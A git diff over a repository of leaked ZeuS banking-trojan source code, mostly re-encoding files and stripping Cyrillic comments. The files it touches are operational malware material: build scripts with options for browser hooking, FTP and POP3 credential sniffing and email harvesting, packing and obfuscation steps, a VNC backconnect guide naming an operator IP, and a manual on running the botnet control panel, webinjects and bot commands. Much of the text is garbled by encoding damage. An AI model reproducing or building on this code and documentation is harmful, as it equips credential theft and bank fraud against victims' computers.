diff --git a/README b/README index 68c9c27..badbf5b 100644 --- a/README +++ b/README @@ -1,4 +1,4 @@ This is version 2.0.8.9 downloaded from http://www.mdl4.com/2011/05/download-zeus-source-code/ -This repository doesnВґt contain my code I have uploaded it to GitHub to simplify the process of getting/analysing the code. +This repository doesn´t contain my code I have uploaded it to GitHub to simplify the process of getting/analysing the code. diff --git a/README.txt b/README.txt index 69d5054..f3a7c09 100644 --- a/README.txt +++ b/README.txt @@ -51,7 +51,7 @@ Second: Configuration File Entries The file consists of two sections StaticConfig and DynamicConfig. -StaticConfig, the values ​​prescribed in this section directly to the bot file, ie in exe, and define the basic behavior of the bot on a victim's computer. +StaticConfig, the values ​​prescribed in this section directly to the bot file, ie in exe, and define the basic behavior of the bot on a victim's computer. Depending on your build, some details may not have value for you, all the significant parameters prescribed in the example that came with the package assembly. botnet [string] - specifies the name of a botnet, which owns the boat. string - the name of a botnet to 4 characters, or 0 - for the default value. @@ -82,10 +82,10 @@ url_compip [url] [number] - specifies the site where you can check your IP, is u url - specifies the URL of the web number - Specifies the kolichetsvo bytes that enough to swing from the site to see in the downloaded your IP. -blacklist_languages ​​[number1] [number2] ... [chisloX] - specifies a list of language codes Windows, for which the bot will always spyashem is in Safe Mode, ie it will not send the logs and statistics, but will appeal to the configuration file. +blacklist_languages ​​[number1] [number2] ... [chisloX] - specifies a list of language codes Windows, for which the bot will always spyashem is in Safe Mode, ie it will not send the logs and statistics, but will appeal to the configuration file. chisloX - language code, for example RU - 1049, EN - 1033. -DynamicConfig, the values ​​prescribed in this section, the final configuration file. +DynamicConfig, the values ​​prescribed in this section, the final configuration file. Depending on your build, some details may not have value for you, all the significant parameters prescribed in the example that came with the package assembly. url_loader [url] - specifies the URL, which you can download the update bot. This option is relevant only if you are running the botnet new version of the bot and prescribed configuration of him for the same URL, as the old configuration, in which case the old version of the bot will start to upgrade by downloading the file specified in this record. diff --git a/VNC.txt b/VNC.txt index 05f85e5..7f64336 100644 --- a/VNC.txt +++ b/VNC.txt @@ -1,11 +1,11 @@ -Там всё достаточно просто: -1. Находишь дедик с выделенным IP -2. Устанавливаешь на него файл zsbcs.exe -3. Открываешь командную строку и запускаешь этот файл со следующими параметрами: zsbcs.exe listen -ipv4 -cp:1080 -bp:4500 --cp:1080 это порт который открывается на дедике для твоего vnc viewer'а --bp:4500 этот порт, через который бот коннектится к дедику. -4. В админке создаёшь для нужного бота следующий скрипт: bot_bc_add vnc 24.255.207.83 4500 -(где 24.255.207.83 IP дедика) -5. Берёшь любой vnc viewer и пишешь там IP дедика и порт для коннекта: 24.255.207.83:1080 -Весь процесс подключения бота и vnc viewer'а к дедику отображается в окне командной строки. После завершения работы не забывает разорвать соединение нажатием Ctrl+C. -6. незабывайте удалить внц bot_bc_remove vnc 24.255.207.83 4500 таким скриптом \ No newline at end of file + : +1. IP +2. zsbcs.exe +3. : zsbcs.exe listen -ipv4 -cp:1080 -bp:4500 +-cp:1080 vnc viewer' +-bp:4500 , . +4. : bot_bc_add vnc 24.255.207.83 4500 +( 24.255.207.83 IP ) +5. vnc viewer IP : 24.255.207.83:1080 + vnc viewer' . Ctrl+C. +6. bot_bc_remove vnc 24.255.207.83 4500 \ No newline at end of file diff --git a/geobase/convert_maxmind_country.php b/geobase/convert_maxmind_country.php index c37e4be..486b237 100644 --- a/geobase/convert_maxmind_country.php +++ b/geobase/convert_maxmind_country.php @@ -1,6 +1,6 @@ 0) @@ -86,7 +86,7 @@ function generateBaseConfigHeader() if(!empty($v))$outputStruct .= " ".$v."\r\n"; } - //Выводим. + //. return "enum\r\n{\r\n".implode(",\r\n", $outputEnum)."\r\n};\r\n\r\n". "typedef struct\r\n{\r\n{$outputStruct}}BASECONFIG;\r\n"; } diff --git a/make/buildconfig.inc.php b/make/buildconfig.inc.php index bc1809c..6c23e35 100644 --- a/make/buildconfig.inc.php +++ b/make/buildconfig.inc.php @@ -1,38 +1,38 @@ -1, //Добавление отладочной информации. - 'manual' => -1, //Язык документации. + 'debug' => -1, // . + 'manual' => -1, // . - 'nspr4' => -1, //Перехват nspr4.dll - 'wininet' => -1, //Перехват wininet.dll - 'software_ftp' => -1, //Граббер FTP-клиентов. - 'software_email' => -1, //Сбор email'ов с программ. + 'nspr4' => -1, // nspr4.dll + 'wininet' => -1, // wininet.dll + 'software_ftp' => -1, // FTP-. + 'software_email' => -1, // email' . - 'socket_ftp' => -1, //Снифер логинов FTP. - 'socket_pop3' => -1, //Снифер логинов POP3. + 'socket_ftp' => -1, // FTP. + 'socket_pop3' => -1, // POP3. 'vnc' => -1, //VNC. - 'jabber_notifier' => -1, //Нотификатор для Jabber. + 'jabber_notifier' => -1, // Jabber. - 'client_platforms' => -1, //Список платформ для client. - 'server_platforms' => -1, //Список платформ для server. - 'bcserver_platforms' => -1, //Список платформ для bcserver. - 'builder_platforms' => -1, //Список платформ для builder. - 'buildtools_platforms' => -1, //Список платформ для buildtools. + 'client_platforms' => -1, // client. + 'server_platforms' => -1, // server. + 'bcserver_platforms' => -1, // bcserver. + 'builder_platforms' => -1, // builder. + 'buildtools_platforms' => -1, // buildtools. ); loadGlobalConfig(); -define('BO_NAME', 'ZeuS'); //Имя -define('BO_CLIENT_VERSION', trim($config['global']['versions']['client'])); //Текущая версия -define('BO_BUILDTIME', gmdate('H:i:s d.m.Y', time()).' GMT'); //Время сборки +define('BO_NAME', 'ZeuS'); // +define('BO_CLIENT_VERSION', trim($config['global']['versions']['client'])); // +define('BO_BUILDTIME', gmdate('H:i:s d.m.Y', time()).' GMT'); // -//Директории компилятора. +// . $dir['vcdlls'] = 'C:\Program Files\Microsoft Visual Studio 10.0\Common7\IDE'; $dir['vc'] = 'C:\Program Files\Microsoft Visual Studio 10.0\VC'; $dir['sdk'] = 'C:\Program Files\Microsoft SDKs\Windows\v7.0A'; @@ -41,10 +41,10 @@ $dir['sdkbin']['win32'] = $dir['sdk'].'\bin'; $dir['sdkbin']['win64'] = $dir['sdk'].'\bin\x64'; -putenv('PATH=%PATH%;'.$dir['vcdlls']); //Там находятся некотрые нужные DLL. +putenv('PATH=%PATH%;'.$dir['vcdlls']); // DLL. -//Различные директории. -$dir['project'] = dirname(getcwd()); //Уровень вверх. +// . +$dir['project'] = dirname(getcwd()); // . $dir['bin'] = $dir['project'].'\bin'; $dir['docs'] = $dir['project'].'\docs'; $dir['configs'] = $dir['project'].'\configs'; @@ -52,7 +52,7 @@ $dir['geobase'] = $dir['project'].'\geobase'; $dir['moutput'] = $dir['project'].'\output_all'; -//Директории вывода. +// . $dir['output'][0] = $dir['project'].'\output'; $dir['output']['client'] = $dir['output'][0]; $dir['output']['server'] = $dir['output'][0].'\server'; @@ -61,7 +61,7 @@ $dir['output']['other'] = $dir['output'][0].'\other'; $dir['output']['buildtools'] = $dir['output'][0]; -//Директории исходного кода. +// . $dir['source'][0] = $dir['project'].'\source'; $dir['source']['client'] = $dir['source'][0].'\client'; $dir['source']['server'] = $dir['source'][0].'\server'; @@ -71,7 +71,7 @@ $dir['source']['other'] = $dir['source'][0].'\other'; $dir['source']['buildtools'] = $dir['source'][0].'\buildtools'; -//Опции компиляции +// $commandLineOptions['client']['win32'] = array ( 'name' => 'client32.bin', @@ -114,12 +114,12 @@ 'lnk_options' => 'kernel32.lib shlwapi.lib shell32.lib user32.lib advapi32.lib' ); -//Списоки для поиска include, lib. +// include, lib. $dir['include'] = array($dir['vc'].'\include', $dir['sdk'].'\include', $dir['project'].'\include'); $dir['lib']['win32'] = array($dir['vc'].'\lib', $dir['sdk'].'\lib', $dir['project'].'\lib\x32'); $dir['lib']['win64'] = array($dir['vc'].'\lib\amd64', $dir['sdk'].'\lib\x64', $dir['project'].'\lib\x64'); -//Командные строки.? +// .? $commandLinePart['cpp'] = '/O1 /Ob2 /Oi- /Os /Oy '. //Optimization '/EHa /fp:fast /fp:except- /Gr /GF /GL /GR- /Gy '. //Code Generation '/Fo"%TEMP%/" '. //Output Files @@ -133,7 +133,7 @@ $commandLinePart['link'] = '/ENTRY:entryPoint /MERGE:code=.text /errorReport:none /FIXED /INCREMENTAL:NO /NXCOMPAT /LTCG /MAP:"%MAPFILE%" /MAPINFO:EXPORTS /NODEFAULTLIB /NOLOGO /OPT:REF /OPT:ICF /LARGEADDRESSAWARE:NO /DYNAMICBASE:NO /OUT:"%OUTPUT%" /MANIFESTUAC:NO /SAFESEH:NO /SUBSYSTEM:%SUBSYS% /VERSION:1.0 /WX %OPTIONS% %SOURCE%'; $commandLinePart['res'] = '/D "_UNICODE" /D "UNICODE" /FO"%OUTPUT%" %OPTIONS% "%SOURCE%"'; -//Компиляторы/Линкеры.? +///.? $commandLine['cpp']['win32'] = "call \"{$dir['vcbin']['win32']}\\cl.exe\" /arch:SSE {$commandLinePart['cpp']}"; $commandLine['cpp']['win64'] = "call \"{$dir['vcbin']['win64']}\\cl.exe\" /favor:blend {$commandLinePart['cpp']}"; @@ -146,16 +146,16 @@ $commandLine['link']['win64'] = "call \"{$dir['vcbin']['win64']}\\link.exe\" /MACHINE:X64 /LIBPATH:\"".implode('" /LIBPATH:"', $dir['lib']['win64']).'" '.$commandLinePart['link']; $commandLine['link']['win32'] = "call \"{$dir['vcbin']['win32']}\\link.exe\" /MACHINE:X86 /LIBPATH:\"".implode('" /LIBPATH:"', $dir['lib']['win32']).'" '.$commandLinePart['link']; -//Протекторы. +//. $commandLine['protect']['php'] = "call \"{$dir['project']}\\bin\\zendenc5.exe\" --short-tags on --no-header --use-crypto --silent --include-ext js \"%SOURCE%\" \"%OUTPUT%\""; -//Упаковщики. +//. $commandLine['pack']['win64'] = NULL; $commandLine['pack']['win32'] = "call \"{$dir['project']}\\bin\\upx.exe\" -9 -f \"%SOURCE%\""; $commandLine['pack']['dir'] = "call \"{$dir['project']}\\bin\\7z.exe\" a -t7z -mx=9 -ms=on -mf=on -mhc=on -mhe=on -mmt=on \"-p%PASS%\" -r -ssw -y -- \"%OUTPUT%\" \"%SOURCE%\""; $commandLine['pack']['file'] = "call \"{$dir['project']}\\bin\\7z.exe\" a -t7z -mx=9 -ms=on -mf=on -mhc=on -mhe=on -mmt=on \"-p%PASS%\" -ssw -y -- \"%OUTPUT%\" \"%SOURCE%\""; -//Прочие инстурменты. +// . $commandLine['buildtools']['ror13'] = "call \"{$dir['project']}\\bin\\bt.exe\" ror13 -nologo \"-is:%STRING%\""; $commandLine['buildtools']['pedatadirectory'] = "call \"{$dir['project']}\\bin\\bt.exe\" peinfo -nologo \"-file:%FILE%\" \"-dd:%INDEX%\""; $commandLine['buildtools']['pepatch'] = "call \"{$dir['project']}\\bin\\bt.exe\" peinfo -nologo \"-file:%FILE%\" -va \"-pdw:%VA%,%DWORD%\""; diff --git a/make/configsample.inc.php b/make/configsample.inc.php index 6c84f97..747762a 100644 --- a/make/configsample.inc.php +++ b/make/configsample.inc.php @@ -1,12 +1,12 @@ \ No newline at end of file diff --git a/make/make.php b/make/make.php index 0e9a212..de0279b 100644 --- a/make/make.php +++ b/make/make.php @@ -7,7 +7,7 @@ require_once('installdata.inc.php'); /////////////////////////////////////////////////////////////////////////////////////////////////// -// Вывод логотипа Рё обработка командной строки. +// . /////////////////////////////////////////////////////////////////////////////////////////////////// { writeLn(str_repeat('=', 80)."\r\n".BO_NAME." package builder.\r\n".str_repeat('=', 80)."\r\n"); @@ -25,7 +25,7 @@ } /////////////////////////////////////////////////////////////////////////////////////////////////// -// Вывод заголовка СЃР±РѕСЂРєРё. +// . /////////////////////////////////////////////////////////////////////////////////////////////////// define('BO_SIGNATURE', $_SERVER['argv'][3]); writeLn("-> Configuration: ".basename($configDir)."\n". @@ -35,7 +35,7 @@ if(getenv('BO_SLIENT') === FALSE)waitAnyKey(); /////////////////////////////////////////////////////////////////////////////////////////////////// -// Начало СЃР±РѕСЂРєРё. +// . /////////////////////////////////////////////////////////////////////////////////////////////////// require_once($dir['source']['common'].'\defines.php'); @@ -67,10 +67,10 @@ generateCryptedStrings($dir['source']['client'].'\cryptedstrings'); - //РЎР±РѕСЂРєР°. + //. buildBinary('client', 0, true, true); - //Создание данных для билдера. + // . $client32 = ''; $client32 .= "#define CLIENT32_VA_BASECONFIG ".sprintf('0x%08X', getVaFromMap('client', 'win32', 'baseConfigSource'))."\r\n"; $client32 .= "#define CLIENT32_VA_INSTALL ".sprintf('0x%08X', getVaFromMap('client', 'win32', '_install'))."\r\n"; //CoreInstall. @@ -87,7 +87,7 @@ writeStep("BUILDING SAMPLE CONFIGURATION FILE"); buildConfigSample($dir['output']['builder']); - //Копируем лицензию, если РѕРЅР° сущеcтвует. + // , c. copyFileIfExists("{$configDir}\\license.key", $dir['output']['builder'].'\license.key'); } @@ -109,11 +109,11 @@ buildBinary('server', 0, false, false); - //Копируем гео-базу. + // -. copyFile($dir['geobase'].'\country[maxmind].txt', $dir['output']['server'].'[php]\install\geobase.txt'); createSubDir($dir['source']['server'].'[php]\tmp'); - //Копируем дополнения. + // . createSubDir($dir['output']['other']); copyFile($dir['source']['other'].'\redir.php', $dir['output']['other'].'\redir.php'); copyFile($dir['source']['other'].'\sockslist.php', $dir['output']['other'].'\sockslist.php'); diff --git a/make/make.vcxproj b/make/make.vcxproj index 3252e30..6ed0d6a 100644 --- a/make/make.vcxproj +++ b/make/make.vcxproj @@ -1,4 +1,4 @@ -п»ї + diff --git a/make/make.vcxproj.user b/make/make.vcxproj.user index dec0c0d..695b5c7 100644 --- a/make/make.vcxproj.user +++ b/make/make.vcxproj.user @@ -1,3 +1,3 @@ -п»ї + \ No newline at end of file diff --git a/make/tools.inc.php b/make/tools.inc.php index 9734307..b00c97f 100644 --- a/make/tools.inc.php +++ b/make/tools.inc.php @@ -1,15 +1,15 @@ значение. - IN $str - string, строка для обработки. + IN $custVars - array, => . + IN $str - string, . - Return - string, результат подмены переменных. + Return - string, . */ function replaceVarables($custVars, $str) { @@ -30,9 +30,9 @@ function replaceVarables($custVars, $str) } /* - Возращает булево значение настройки $config. + $config. - IN $name - string, название переменной. + IN $name - string, . */ function configBool($name) { @@ -41,10 +41,10 @@ function configBool($name) } /* - Проверяет активна ли платформа для компонента. + . - IN $app - string, названия компоненента. - IN $platform - искомая платформа. + IN $app - string, . + IN $platform - . Return - bool. */ @@ -56,9 +56,9 @@ function platformEnabled($app, $platform) } /* - Стандартный заголовок для генерируемого H-файла. + H-. - Return - string, заголовок. + Return - string, . */ function headerOfHfile() { @@ -66,10 +66,10 @@ function headerOfHfile() } /* - Шифрование RC4. + RC4. - IN $data - string, данные для шифрования. - IN $key - string, ключ шифрования. + IN $data - string, . + IN $key - string, . */ function rc4($data, $key) { @@ -110,10 +110,10 @@ function rc4($data, $key) } /* - Шифрование XOR. + XOR. - IN $data - string, данные для шифрования. - IN $key - string, ключ шифрования. + IN $data - string, . + IN $key - string, . */ function xorCrypt($data, $key) { @@ -131,12 +131,12 @@ function xorCrypt($data, $key) } /* - Преобразование бинарных данных в C массив типа BYTE. + C BYTE. - IN $data - string, данные. - IN $xorKey - string, ключ шифрования или 0. + IN $data - string, . + IN $xorKey - string, 0. - Return - string, в формате {0xXX, 0xXX, ...} + Return - string, {0xXX, 0xXX, ...} */ function binDataToCArray($data, $xorKey) { @@ -155,12 +155,12 @@ function binDataToCArray($data, $xorKey) } /* - Преобразование бинарного файла в C массив типа BYTE. + C BYTE. - IN $data - string, имя файла. - IN $xorKey - string, ключ шифрования или 0. + IN $data - string, . + IN $xorKey - string, 0. - Return - string, в формате {0xXX, 0xXX, ...} + Return - string, {0xXX, 0xXX, ...} */ function binFileToCArray($file, $xorKey) { @@ -170,12 +170,12 @@ function binFileToCArray($file, $xorKey) } /* - Генерация пароля. + . - IN $min - int, минимальное количество символов. - IN $max - int, максимальное количество символов. + IN $min - int, . + IN $max - int, . - Return - string, пароль. + Return - string, . */ function generatePassword($min, $max) { @@ -188,13 +188,13 @@ function generatePassword($min, $max) } /* - Получение VA перменной/функции из map-файла. + VA / map-. - IN $app - string, названия компоненента. - IN $platform - string, платформа компоненента. - IN $name - string, имя объекта для поиска. + IN $app - string, . + IN $platform - string, . + IN $name - string, . - Return - int - искомый адрес. + Return - int - . */ function getVaFromMap($app, $platform, $name) { @@ -210,11 +210,11 @@ function getVaFromMap($app, $platform, $name) } /* - Подсчет ROR13 хэша строки. + ROR13 . - IN $str - string, строка. + IN $str - string, . - Return - string, хзш в формате 0x%08X. + Return - string, 0x%08X. */ function getRor13Hash($str) { @@ -226,12 +226,12 @@ function getRor13Hash($str) } /* - Получение RVA и размера из DataDirectory. + RVA DataDirectory. - IN $file - string, файл. - IN $index - int индекст в DataDirectory. + IN $file - string, . + IN $index - int DataDirectory. OUT $rva - int, RVA. - OUT $size - int, размер. + OUT $size - int, . */ function getPeDataDirectory($file, $index, &$rva, &$size) { @@ -250,11 +250,11 @@ function getPeDataDirectory($file, $index, &$rva, &$size) } /* - Изменения DWORD в PE-файле. + DWORD PE-. - IN $file - string, файл. - IN $offset - int, VA в файле. - IN $dword - int, DWORD для записи. + IN $file - string, . + IN $offset - int, VA . + IN $dword - int, DWORD . */ function patchPeDword($file, $va, $dword) { @@ -263,11 +263,11 @@ function patchPeDword($file, $va, $dword) } /* - Конвертация Asm кода в C-массив. + Asm C-. - IN $x - int, платформа 32 или 64. - IN $prefix - string, префикс для макроса и массива. - IN $sourceFile - string, исходный asm-файл. + IN $x - int, 32 64. + IN $prefix - string, . + IN $sourceFile - string, asm-. */ function asmToCArray($x, $prefix, $sourceFile) { @@ -283,12 +283,12 @@ function asmToCArray($x, $prefix, $sourceFile) } /* - Генерация define макросов для С или PHP. + define PHP. - IN $list - array, в формате $list[$name] = $value. - IN $type - string, язык "c" для C, "php" для PHP. + IN $list - array, $list[$name] = $value. + IN $type - string, "c" C, "php" PHP. - Return - список defines в формате языка + Return - defines */ function generateXDefines($list, $type) { @@ -308,10 +308,10 @@ function generateXDefines($list, $type) } /* - Упаковка директории. + . - IN $dirs - array, директории. - IN $output - string, выходной файл, без расширения. + IN $dirs - array, . + IN $output - string, , . */ function packDir($dirs, $output) { @@ -325,10 +325,10 @@ function packDir($dirs, $output) } /* - Упаковка файла. + . - IN $files - array, файлы. - IN $output - string, выходной файл, без расширения. + IN $files - array, . + IN $output - string, , . */ function packFile($file, $output) { @@ -342,10 +342,10 @@ function packFile($file, $output) } /* - Запись файла. + . - IN $file - string, имя файла для записи. - IN $data - string, данные для записи в файл. + IN $file - string, . + IN $data - string, . */ function writeFile($file, $data) { @@ -360,11 +360,11 @@ function writeFile($file, $data) } /* - Чтение файла. + . - IN $file - string, имя файла для записи. + IN $file - string, . - Return - содержимое файла. + Return - . */ function getFileContext($file) { @@ -374,10 +374,10 @@ function getFileContext($file) } /* - Копирование файла. + . - IN $source - string, исходный файл. - IN $dest - string, конечный файл. + IN $source - string, . + IN $dest - string, . */ function copyFile($source, $dest) { @@ -386,10 +386,10 @@ function copyFile($source, $dest) } /* - Копирование файла, если он сущетвует. + , . - IN $source - string, исходный файл. - IN $dest - string, конечный файл. + IN $source - string, . + IN $dest - string, . */ function copyFileIfExists($source, $dest) { @@ -397,9 +397,9 @@ function copyFileIfExists($source, $dest) } /* - Создание дерева директорий + - IN $dir - string, полный путь конечной директории. + IN $dir - string, . */ function createSubDir($dir) { @@ -413,13 +413,13 @@ function createSubDir($dir) } /* - Получение списка файлов из директории, влючая поддеректории. + , . - IN $dir - string, стартовая директория. - IN $ext - array, массив масок файлов, для поиска. - IN $quotes - bool, заключать ли файлы в кавычки. + IN $dir - string, . + IN $ext - array, , . + IN $quotes - bool, . - Return - array, массив с полными именами файлов отнсотительно $dir. + Return - array, $dir. */ function getDirList($dir, $ext, $quotes) { @@ -438,9 +438,9 @@ function getDirList($dir, $ext, $quotes) } /* - Очистка директории. + . - IN $dir - string, дирекория для очитски. + IN $dir - string, . */ function clearDir($dir) { @@ -459,9 +459,9 @@ function clearDir($dir) } /* - Удаление временных файлов. + . - IN $create - bool, создавать ли директории вновь после очистки. + IN $create - bool, . */ function clearTemp($create) { @@ -485,7 +485,7 @@ function clearTemp($create) } /* - Загрузка файла глобальной конфигурации. + . */ function loadGlobalConfig() { @@ -498,11 +498,11 @@ function loadGlobalConfig() } /* - Генерация стандартого файла конфигурации для C. + C. - IN $adv_data - string, дополнительные данные для записи в файл. + IN $adv_data - string, . - Return - string, полноценное содержимое файла. + Return - string, . */ function generateDefaultConfigHeader($adv_data) { @@ -518,7 +518,7 @@ function generateDefaultConfigHeader($adv_data) $platforms_postfix_size = strlen('_platforms'); foreach($GLOBALS['config'] as $k => $v)if(!is_array($v)) { - //Проверка не платформа ли это указана. + // . if(strlen($k) > $platforms_postfix_size && strcmp(substr($k, -$platforms_postfix_size), '_platforms') == 0) { $platforms = @explode(',', $v); @@ -539,7 +539,7 @@ function generateDefaultConfigHeader($adv_data) } /* - Хелпер для buildBin. + buildBin. */ function fileInList($array, $fileName) { @@ -548,17 +548,17 @@ function fileInList($array, $fileName) } /* - Компиляция. + . - IN $app - string, названия компоненента для компиляции. - IN $crypt - int, шифрование/сжатие конечного файла, если платформа это позволяет. - 0 - не сжимать. - 1 - сжать. - 2 - шифровать. - IN $clearMz - bool, для winX, если true - очистить MSDOS заголовок. - IN $randBin - bool, для winX, рандомизировать содержимое конечного файла, путем перемешивания obj-файлов. + IN $app - string, . + IN $crypt - int, / , . + 0 - . + 1 - . + 2 - . + IN $clearMz - bool, winX, true - MSDOS . + IN $randBin - bool, winX, , obj-. - Return - array, список платформ. + Return - array, . */ function buildBinary($app, $crypt, $clearMz, $randBin) { @@ -576,7 +576,7 @@ function buildBinary($app, $crypt, $clearMz, $randBin) $dirOutput = $GLOBALS['dir']['output'][$app]; $dirSource = $GLOBALS['dir']['source'][$app]; - //Сборка PHP. + // PHP. if($pf == 'php') { createSubDir($dirTmp); @@ -615,7 +615,7 @@ function buildBinary($app, $crypt, $clearMz, $randBin) else copyFile($fileSource, $fileOutput); } } - //Комплияция + // else { createSubDir($dirTmp); @@ -625,7 +625,7 @@ function buildBinary($app, $crypt, $clearMz, $randBin) $listRc = array('*.rc'); $listObj = array('*.obj', '*.res', '*.o'); - //Сборка objects. + // objects. writeLn('['.$pf."] Compiling...\r\n"); $list = getDirList($dirSource, $listCpp, true); @@ -639,7 +639,7 @@ function buildBinary($app, $crypt, $clearMz, $randBin) if($r != 0)die(1); writeLn(''); - //Сборка ресурсов. + // . $list = getDirList($dirSource, $listRc, false); if(count($list) != 0)foreach($list as $k => $v) { @@ -652,7 +652,7 @@ function buildBinary($app, $crypt, $clearMz, $randBin) writeLn(''); } - //Сборка bin + // bin writeLn('['.$pf."] Linking...\r\n"); $list = getDirList($dirTmp, $listObj, true); if(count($list) == 0)fatalError('Failed to find object files.'); @@ -675,7 +675,7 @@ function buildBinary($app, $crypt, $clearMz, $randBin) if($r != 0)die(1); writeLn(''); - //Вызов функции предварительной обработки. + // . if($crypt > 0) { $functionName = "{$app}BeforeCrypt"; @@ -708,24 +708,24 @@ function buildBinary($app, $crypt, $clearMz, $randBin) } /* - Исполняет перпроцесорный код внутри PHP шаблонов, и прочии оптимизации. + PHP , . - IN $fileIn - string, входящий файл. - IN $fileOut - string, исходящий файл. + IN $fileIn - string, . + IN $fileOut - string, . */ function evalPhpTemplate($fileIn, $fileOut) { $data = getFileContext($fileIn); while(preg_match('|\/\*EVAL\_BEGIN\*\/(.*)(\/\*EVAL\_END\*\/)|msUu', $data, $m, PREG_OFFSET_CAPTURE) > 0) { - //Запускаем код. + // . $code_data = eval(substr($data, $m[1][1], $m[2][1] - $m[1][1])); - //Подменяем данные. + // . $data = substr_replace($data, $code_data == NULL ? "" : $code_data, $m[0][1], $m[2][1] + 12 - $m[0][1]); $tr = substr($data, $m[0][1]); - //Если коду принадлежала строка, удаляем ее. + // , . $delCount = 0; if(ord($tr[0]) == 0xD && ord($tr[1]) == 0xA)$delCount = 2; else if(ord($tr[0]) == 0xA)$delCount = 1; @@ -735,9 +735,9 @@ function evalPhpTemplate($fileIn, $fileOut) } /* - Загрузка файла конфигурации сборки. + . - IN $fn - string, файл конфигурации. + IN $fn - string, . */ function loadPackageConfig($fn) { @@ -773,9 +773,9 @@ function loadPackageConfig($fn) } /* - Генерация шифрованых строк. + . - IN $fileName - string, имя файл без расширения. + IN $fileName - string, . */ function generateCryptedStrings($fileName) { @@ -794,10 +794,10 @@ function generateCryptedStrings($fileName) { $string = trim($string); - //Комментарий. + //. if(strlen($string) === 0 || strpos($string, '//') === 0 || strpos($string, ';') === 0)continue; - //Препроцесорная команда. + // . if(strpos($string, '#') === 0) { $outputStruct .= "{$string}\r\n"; @@ -806,7 +806,7 @@ function generateCryptedStrings($fileName) continue; } - //Парсим. + //. $e = explode(' ', $string, 2); if(!is_array($e) || count($e) !== 2 || strlen(($id = trim($e[0]))) === 0|| @eval("\$value = ".trim($e[1]).";") !== NULL) { @@ -831,12 +831,12 @@ function generateCryptedStrings($fileName) } unset($list); - //Добавляем концовку. + // . $outputStruct .= "{$structProlog}{ 0, 0, NULL}"; $outputEnum .= "{$enumProlog}count"; $outputLenEnum .= "{$lenEnumProlog}max = ({$maxLen} + 1)"; - //Сохраняем. + //. $output = getFileContext($fileName.'.h'); $output = preg_replace('|(\/\*STRINGS\_ID\_BEGIN\*\/)(.*)(\/\*STRINGS\_ID\_END\*\/)|msU', "\$1\r\n".$outputEnum."\r\n$3", $output); $output = preg_replace('|(\/\*STRINGS\_LENGHT\_BEGIN\*\/)(.*)(\/\*STRINGS\_LENGHT\_END\*\/)|msU', "\$1\r\n".$outputLenEnum."\r\n$3", $output); @@ -848,7 +848,7 @@ function generateCryptedStrings($fileName) } /* - Вывод сообщения об успешной сборки и выход. + . */ function goodEnd() { @@ -857,9 +857,9 @@ function goodEnd() } /* - Ожидание нажатия клавишы + - Return - код клавишы, или 0 в случаи ошибки. + Return - , 0 . */ function waitAnyKey() { @@ -874,9 +874,9 @@ function waitAnyKey() } /* - Вывод строки в консоль. + . - IN $str - string, строка для вывода. + IN $str - string, . */ function writeLn($str) { @@ -884,9 +884,9 @@ function writeLn($str) } /* - Вывод этапа сборки. + . - IN $name - string, заголовок этапа. + IN $name - string, . */ $___curstep = 0; function writeStep($name) @@ -897,9 +897,9 @@ function writeStep($name) } /* - Вывод фатальной ошибки и выход. + . - IN $str - string, текст для вывода. + IN $str - string, . */ function fatalError($str) { @@ -908,9 +908,9 @@ function fatalError($str) } /* - Вывод предупреждения. + . - IN $str - string, текст для вывода. + IN $str - string, . */ function writeWarning($str) { diff --git a/manual_en.html b/manual_en.html index 25e1d2d..f15acf3 100644 --- a/manual_en.html +++ b/manual_en.html @@ -71,7 +71,7 @@

User guide

  • Version history
  • - +

    Description: Bot

    • @@ -152,9 +152,9 @@

      Description: Bot

    - + - +

    Description: Control panel

    • @@ -212,9 +212,9 @@

      Description: Control panel

    - + - +

    Configuration file: HTTP-inject/HTTP-grabber.

    For the convenience of writing, HTTP-inject/HTTP-grabber are recorded in a separate file specified in the configuration file as "DynamicConfig.file_webinjects". Naturally, after creating the end-configuration file, not any additional files are generated.

    The file consists of a list of URLs for which you can specify an unlimited number of any modification thereto or derived from their data. The current URL is the following line:

    @@ -314,9 +314,9 @@

    Configuration file: HTTP-inject/HTTP-grabber.

    - + - +

    Control panel: Server configuration

    The server is the central point of control the botnet, it is engaged in collecting reports of bots and command bots. It is not recommended to use "Virtual Hosting" or "VDS", as with an increase in the botnet, the server will increase, and this kind of web hosting quickly exhaust its resources. You need a "Dedicated Server" (Ded), the recommended minimum configuration:

    - + - +

    Control panel: Installation

    Designation of files and folders:

    @@ -390,27 +390,27 @@

    Control panel: Installation

    Once all files are uploaded and are set the rights, need to run in the browser the installer from URL http://server/directory/install/index.php. Follow the on-screen instructions, in case of errors (You will be notified in detail) in the installation process, check the entered data, and proper rights setting to the folder.

    After installing, is recommended to remove the install directory, and rename files cp.php (control panel entrance) and gate.php (gate for bots) to any files you like (the extension cannot be changed).

    Now you can safely enter into the control panel by typing in the browser URL the renamed file cp.php.

    - + - +

    Control panel: Update

    If you have a newer copy of the control panel, and want to update an older version, you must do the following:

    1. Copy the files of the new panel in place of the old.
    2. Rename the files cp.php and gate.php under their real names you selected when you installed the old control panel.
    3. Just in case, re-set the directories rights under this section.
    4. -
    5. Run the installer throuh a browser URL http://сервер/директория/install/index.php, and follow the on-screen instructions. The process of the installer may take quite a long period of time, due to the fact that some of the tables with the reports can be recreated.
    6. +
    7. Run the installer throuh a browser URL http:////install/index.php, and follow the on-screen instructions. The process of the installer may take quite a long period of time, due to the fact that some of the tables with the reports can be recreated.
    8. You can use the new control panel.
    - + - +

    Control panel: The file /system/fsarc.php.

    This file contains a function to call an external archiver. Currently, data logger is used only in the module "Reports::Find in files" (reports_files), and calls to download files and folders in a single archive. By default, configured to Zip archiver, and is universal for both Windows and nix, so all you have to do, is to install into the system this archiver, and give the right to its execution. You can also edit this file to work with any archiver.

    Download Zip: http://www.info-zip.org/Zip.html.

    - + - +

    Control panel: Commands, used in scripts

    • os_shutdown

      @@ -725,9 +725,9 @@

      Control panel: Commands, used in scripts

      Remove all (*.sol) cookies of Adobe Flash Player (%APPDATA%\Macromedia\Flash Player) of the current user.

    - + - +

    Working with the Backonnect-server

    Working with the BackConnect with example.

      @@ -755,9 +755,9 @@

      Working with the Backonnect-server

    • Not to be allowed to subscribe different bots on one and the same server port at the same time.
    • The method of such a connection might be useful for bots, which are outside the NAT, i.e. sometimes WIndows firewall of providers, may block the Internet connection.
    • - + - +

      F.A.Q.

      • @@ -779,9 +779,9 @@

        F.A.Q.

        Because, in the use of sophisticated algorithms it makes no sense, encryption only needs to hide traffic. Plus in the RSA only, not knowing the key that is in the Control panel, will not be able to emulate its answers. And what's the point to defend against this?

      - + - +

